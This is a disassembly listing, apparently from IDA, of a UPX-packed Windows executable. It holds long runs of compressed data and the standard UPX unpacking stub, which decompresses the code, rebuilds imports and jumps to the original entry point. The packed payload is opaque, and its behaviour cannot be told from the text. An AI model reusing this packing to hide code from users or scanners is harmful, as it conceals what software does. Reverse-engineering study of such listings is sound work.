		dd 870F07D4h, 76E2F26h,	801FB0E4h, 2E1B412Ah, 0A036C241h
		dd 53563BCDh, 0D90E4741h, 48A7BC85h, 4A481FD8h,	0CBD85793h
		dd 474A543Bh, 42E44E28h, 761F611Eh, 5EC8D04Fh, 55388724h
		dd 0E5F57C1h, 3CBD85C8h, 418C1F5Eh, 0C8BC9D69h,	5F69CBBAh
		dd 0C1386C76h, 7D70403h, 1F0F0342h, 8207706Dh, 0D903A36Bh
		dd 48DF0FFFh, 7B34378h,	0FCEC03EBh, 0DF8CEE99h,	0FC0B0217h
		dd 40E00C13h, 652C0E48h, 40B49F17h, 37727A68h, 0C76EA76Fh
		dd 8577876Eh, 711EBDD0h, 0B7CF7167h, 3ACF271Fh,	6AE9BB48h
		dd 0C8E0BC53h, 8CBC85CDh, 0F3808BE0h, 2EC2770Ch, 5776B0AFh
		dd 77977793h, 0B0917B1Fh, 77E7E3B9h, 1F79C9BFh,	22F245ECh
		dd 7FAF7CFDh, 4872155Fh, 83F1CC2Eh, 0FE48BC64h,	408465h
		dd 92658481h, 0C2BCBB3Fh, 0FF93CA5Eh, 95ED95D9h, 921C85BFh
		dd 97D3C00Bh, 783725ACh, 0E00398C9h, 200E2798h,	180E8F67h
		dd 18267C1Bh, 4B091D4h,	0E057D3A3h, 4B6AFC85h, 4DE2648Bh
		dd 0B3900713h, 3BE2A341h, 91A71B8h, 3719E4BCh, 12A3E2D8h
		dd 0E407210Fh, 52E2F4E4h, 0E921E310h, 13F5A48h,	7A42F613h
		dd 194F3960h, 8718DD7Fh, 6F7BE4B6h, 5C6BCB03h, 0CEEC9D13h
		dd 8BE36C4Eh, 0E33C3304h, 29B0197Ch, 0A08B279Bh, 7D6C8B7h
		dd 44290816h, 7C07401Bh, 45392EEh, 1357F4E4h, 20F25714h
		dd 1ACA57CCh, 3939205Ch, 6CE44C20h, 5F7300F2h, 5FE3F900h
		dd 320C17FBh, 2017348h,	843803BCh, 0CCA4D20Ch, 1760B119h
		dd 43B4BC9h, 902B3CE5h,	303211A2h, 80B80972h, 0FFAB4088h
		dd 7A5045CFh, 413F2E2Fh, 74756F56h, 0FC859D5Fh,	5F666FFFh
		dd 676E6172h, 74734065h, 8404064h, 3ECB216h, 8B9D303Fh
		dd 0F55FC6E8h, 0EC150238h, 0B1F4081Bh, 0FF44BF19h, 0CAC0DF00h
		dd 0FB16173Ch, 4D340407h, 51834D3h, 0C809060Dh,	7D34D20h
		dd 0BD09080Ch, 0A360C80h, 1B570B1Bh, 3BEFB06Ch,	10570F07h
		dd 36031113h, 12A417C8h, 0F352117h, 0C8320D8h, 33504341h
		dd 360D8360h, 7531752h,	0DD35F57h, 7B59D836h, 0AB6D176Ch
		dd 3482F720h, 721C704Dh, 0D832FC7h, 0B380D836h,	1F820781h
		dd 0D8374D83h, 91478420h, 0B09E290Fh, 0A120D020h, 6C16F07h
		dd 0B7A7641Bh, 2C1FCE9Fh, 0D7841CE1h, 3307180Bh, 150C1236h
		dd 3700BF8Dh, 430621F6h, 9C2B40C7h, 0E9B2CD07h,	770933Eh
		dd 10C6D80Ah, 0D34D34ACh, 127C1134h, 96691358h,	182CD34Dh
		dd 0CC19C5F4h, 0A69A69A6h, 5C1B941Ah, 69A6CB1Ch, 141E349Ah
		dd 20C4B01Fh, 34D7659Bh, 80472178h, 0C2E022C3h,	2CEE9A6Bh
		dd 0BC790778h, 0D34C7F7Ah, 0FC07DD34h, 0BA98FFA8h, 0D42AB9EFh
		dd 0B1D00EFh, 9019A404h, 88D9641h, 19019019h, 1908F8Eh
		dd 91019019h, 11F78492h, 7AF9390h, 0B0A1C7BBh, 80D311F7h
		dd 152C0008h, 3B10A401h, 180C5F1Fh, 17C8690h, 841B0853h
		dd 601F17ADh, 2FD851C0h, 8C85DB01h, 0D3CC157Dh,	81439B40h
		dd 0C42AA19h, 60088A0Fh, 0B1AB0107h, 83E64C40h,	0D6C7D12Fh
		dd 2DB99CFh, 2007D7BBh,	142F3FFBh, 77A8866h, 323200B0h
		dd 105C85h, 0C9004820h,	59800014h, 1F640B0Ah, 90A59005h
		dd 0AC65FF04h, 0A038CAAh, 559002D7h, 0AB7C9E2Bh, 40201FEh
		dd 5B03A408h, 21827982h, 0E7E4DFA6h, 0A107CF27h, 0E09F81A5h
		dd 807E40FCh, 6EF0847Bh, 0A3C12FA8h, 81CCA3DAh,	0C08607FEh
		dd 0B5403906h, 0FF90412Fh, 5FB641BBh, 0A2E4A2CFh, 0A2E5001Ah
		dd 6F5BA2E8h, 7EAF9F77h, 551FEA1h, 0DA5EDA03h, 6ADA5F5Fh
		dd 0C95FDB93h, 0D8D332DAh, 39F9E0DEh, 54597E31h, 0A845EC02h
		dd 0C1FF0340h, 7B0810E0h, 0E9A657CAh, 0D9F8C54Ah, 0ECF003ABh
		dd 9A69A69Ah, 0D8E0E4E8h, 0BA69C8D0h, 0B0BC69A6h, 989C2FA8h
		dd 0A69A69A6h, 888C9094h, 69A69A84h, 787C809Ah,	416C7074h
		dd 6469A69Ah, 9A485058h, 40BA69A6h, 24303803h, 0CCE9101Ch
		dd 469AEh, 3D8FC97h, 0C1960FDCh, 409D0A6h, 0CA9B3353h
		dd 72EBA6Eh, 4107F0DCh,	0C007F03h, 83041F52h, 0D12EA7FEh
		dd 0A31803B3h, 0F0137080h, 1A3283F1h, 0ED508323h, 945E199Eh
		dd 40443F6Ch, 0D94C53FCh, 2303C8B2h, 34D31E0Bh,	33BD74Dh
		dd 0B597785Ah, 4D3659A6h, 111F3D4h, 4D344E30h, 16DD977h
		dd 59033A33h, 36599677h, 0D3B4D34Dh, 2F0110F2h,	0A6C024C9h
		dd 1F016C4Dh, 23FEA0C8h, 656CDBA1h, 6874676Eh, 21B09F5Fh
		dd 1FDACDF4h, 6369676Fh, 616C2519h, 53171F1Eh, 371A3230h
		dd 6805A83h, 37431BB0h,	74584446h, 4040AFA1h, 5B080090h
		dd 10500D40h, 0FFC8A8C9h, 0B060CF2Fh, 74654701h, 48647453h
		dd 6C646E61h, 52823A65h, 395E54C5h, 96D8A04Eh, 1141F028h
		dd 41276443h, 65745DDCh, 0DD2141D3h, 50DB64BDh,	2E1D6814h
		dd 6972570Ch, 0EFB6CDCFh
		dd 1652470Bh, 82F0964h,	8A05DC22h, 7845E853h, 0F642D930h
		dd 6D655296h, 0FB530C1Bh, 5A340182h, 0EC26450Fh, 4F767150h
		dd 0A7544666h, 3DAD6489h, 75433CB6h, 122D7F72h,	0F6382905h
		dd 59686E55h, 0F8354564h, 3CCC3615h, 73491C4Ch,	5AD76544h
		dd 6717AADBh, 5047490Bh, 33EEB5F6h, 6D6D6F5Ch, 0DB754C30h
		dd 3B6ED048h, 1D15856Bh, 732956B4h, 5007B3Fh, 0E118486Bh
		dd 6F083119h, 5A148AD8h, 0B105CE61h, 0F070F615h, 64BB6E2Bh
		dd 696152EDh, 740F7E5Eh, 6977956Ch, 563F0836h, 646F4D2Bh
		dd 411B6C75h, 0B1A0244Dh, 6464414Fh, 5554DC72h,	0B7B37C81h
		dd 5316740Ch, 0B38775ADh, 1F4349A4h, 110AEE6Bh,	63B64622h
		dd 68536DD5h, 150E1038h, 5B5440B3h, 42A2FB36h, 45218649h
		dd 3C96D6Bh, 0C09E6544h, 9A0240F8h, 7CCCB930h, 0C8596301h
		dd 3459343h, 0E25464C5h, 56C21653h, 174C8C16h, 0E045B02Fh
		dd 4D615738h, 2ABB6B43h, 5472C6BEh, 422F4D6Fh, 62449F79h
		dd 57086C42h, 4F344CEDh, 6DC7A1C6h, 44707954h, 4578A842h
		dd 2B6CF7AAh, 1AD4D9B4h, 0C794C00h, 0C7BE2831h,	0BE5664E0h
		dd 9C2F688h, 726B515Dh,	7A035079h, 0C58F0ACCh, 0AC49605Eh
		dd 1C76D98Ch, 0A1706B4Fh, 20E50AD0h, 4B795361h,	39ADB228h
		dd 91731BD6h, 684C6D69h, 4BE39076h, 5845BBD9h, 54505915h
		dd 0D8DAC7BCh, 70B410Ah, 94D454Fh, 68E0B410h, 43280DCEh
		dd 0DB2C60BDh, 0BB6761A7h, 2AB4D530h, 0C9E2B06h, 18551A4Ch
		dd 8EF55526h, 2118CD01h, 0E1301810h, 0CA9C38CDh, 2142690Fh
		dd 0F4EEE09h, 6BA49A8Fh, 241B21BBh, 4D436D57h, 0A293117Bh
		dd 0D413B09h, 0CB2D4857h, 0B1C60Dh, 29E06E74h, 976ECB59h
		dd 6E474F14h, 3C660E41h, 20B23DABh, 0E5EB7255h,	5FB54550h
		dd 0FDA0A8h, 4960BEA8h,	9FED9D09h, 3006D04h, 8010B01h
		dd 4E00B020h, 439A108Eh, 4460C041h, 105FB3B3h, 8F45510Fh
		dd 0A107B37Dh, 7E261701h, 1B037B01h, 100C413Bh,	22000607h
		dd 5C2F144Eh, 23C065E5h, 6E36F7B2h, 0BDAF000h, 0F51612FAh
		dd 83F234A7h, 2E0AFE5Dh, 74786574h, 0B090A1E5h,	642F0768h
		dd 2E04CA98h, 9B906172h, 28FB3609h, 0EE03302Ch,	20D9735h
		dd 8C262E40h, 0CEC1B29Bh, 0F04B1A28h, 0EC4FC027h, 737B05ECh
		dd 0F36E6372h, 4F0173h,	1BA5F9FCh, 14E6E6CCh, 1, 0
		dd 0FF1200h, 3 dup(0)

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_AC		= byte ptr -0ACh
ms_exc		= CPPEH_RECORD ptr -18h

; FUNCTION CHUNK AT 00403F63 SIZE 0000018D BYTES
; FUNCTION CHUNK AT 0040411E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00404138 SIZE 00000015 BYTES

		pusha
		mov	esi, offset off_40D000
		lea	edi, [esi-0C000h]
		push	edi
		jmp	short loc_41394A
; ---------------------------------------------------------------------------
		align 10h


loc_413940:				; CODE XREF: start:loc_413951j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_413946:				; CODE XREF: start+AEj	start+C5j
		add	ebx, ebx
		jnz	short loc_413951


loc_41394A:				; CODE XREF: start+Dj
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_413951:				; CODE XREF: start+18j
		jb	short loc_413940
		mov	eax, 1


loc_413958:				; CODE XREF: start+37j	start+42j
		add	ebx, ebx
		jnz	short loc_413963
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_413963:				; CODE XREF: start+2Aj
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_413958
		jnz	short loc_413974
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_413958


loc_413974:				; CODE XREF: start+39j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_413988
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_4139FA
		mov	ebp, eax


loc_413988:				; CODE XREF: start+49j
		add	ebx, ebx
		jnz	short loc_413993
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_413993:				; CODE XREF: start+5Aj
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_4139A0
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_4139A0:				; CODE XREF: start+67j
		adc	ecx, ecx
		jnz	short loc_4139C4
		inc	ecx


loc_4139A5:				; CODE XREF: start+84j	start+8Fj
		add	ebx, ebx
		jnz	short loc_4139B0
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_4139B0:				; CODE XREF: start+77j
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_4139A5
		jnz	short loc_4139C1
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_4139A5


loc_4139C1:				; CODE XREF: start+86j
		add	ecx, 2


loc_4139C4:				; CODE XREF: start+72j
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_4139E4


loc_4139D5:				; CODE XREF: start+ACj
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_4139D5
		jmp	loc_413946
; ---------------------------------------------------------------------------
		align 4


loc_4139E4:				; CODE XREF: start+A3j	start+C1j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_4139E4
		add	edi, ecx
		jmp	loc_413946
; ---------------------------------------------------------------------------


loc_4139FA:				; CODE XREF: start+54j
		pop	esi
		mov	edi, esi
		mov	ecx, 3ECh


loc_413A02:				; CODE XREF: start+D9j	start+DEj
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_413A07:				; CODE XREF: start+FCj
		cmp	al, 1
		ja	short loc_413A02
		cmp	byte ptr [edi],	5
		jnz	short loc_413A02
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	al, bl
		loop	loc_413A07
		lea	edi, [esi+11000h]


loc_413A34:				; CODE XREF: start+126j
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_413A76
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+130B4h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+130F0h]
		xchg	eax, ebp


loc_413A51:				; CODE XREF: start+13Ej
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_413A34
		mov	ecx, edi
		push	edi
		dec	eax
		repne scasb
		push	ebp
		call	dword ptr [esi+130F4h]
		or	eax, eax
		jz	short loc_413A70
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_413A51
; ---------------------------------------------------------------------------


loc_413A70:				; CODE XREF: start+137j
		call	dword ptr [esi+13104h]


loc_413A76:				; CODE XREF: start+108j
		mov	ebp, [esi+130F8h]
		lea	edi, [esi-1000h]
		mov	ebx, 1000h
		push	eax
		push	esp
		push	4
		push	ebx
		push	edi
		call	ebp
		lea	eax, [edi+207h]
		and	byte ptr [eax],	7Fh
		and	byte ptr [eax+28h], 7Fh
		pop	eax
		push	eax
		push	esp
		push	eax
		push	ebx
		push	edi
		call	ebp
		pop	eax
		popa
		lea	eax, [esp+2Ch+var_AC]


loc_413AAA:				; CODE XREF: start+17Ej
		push	0
		cmp	esp, eax
		jnz	short loc_413AAA
		sub	esp, 0FFFFFF80h
		jmp	loc_404143
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 48h,	0Eh dup(0)
		dd offset dword_40F060
		dd offset dword_40DDA0
		dd 0Fh,	140h dup(0)
UPX1		ends

; Section 4. (virtual address 00015000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00015000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 415000h
		align 2000h
_idata2		ends


		end start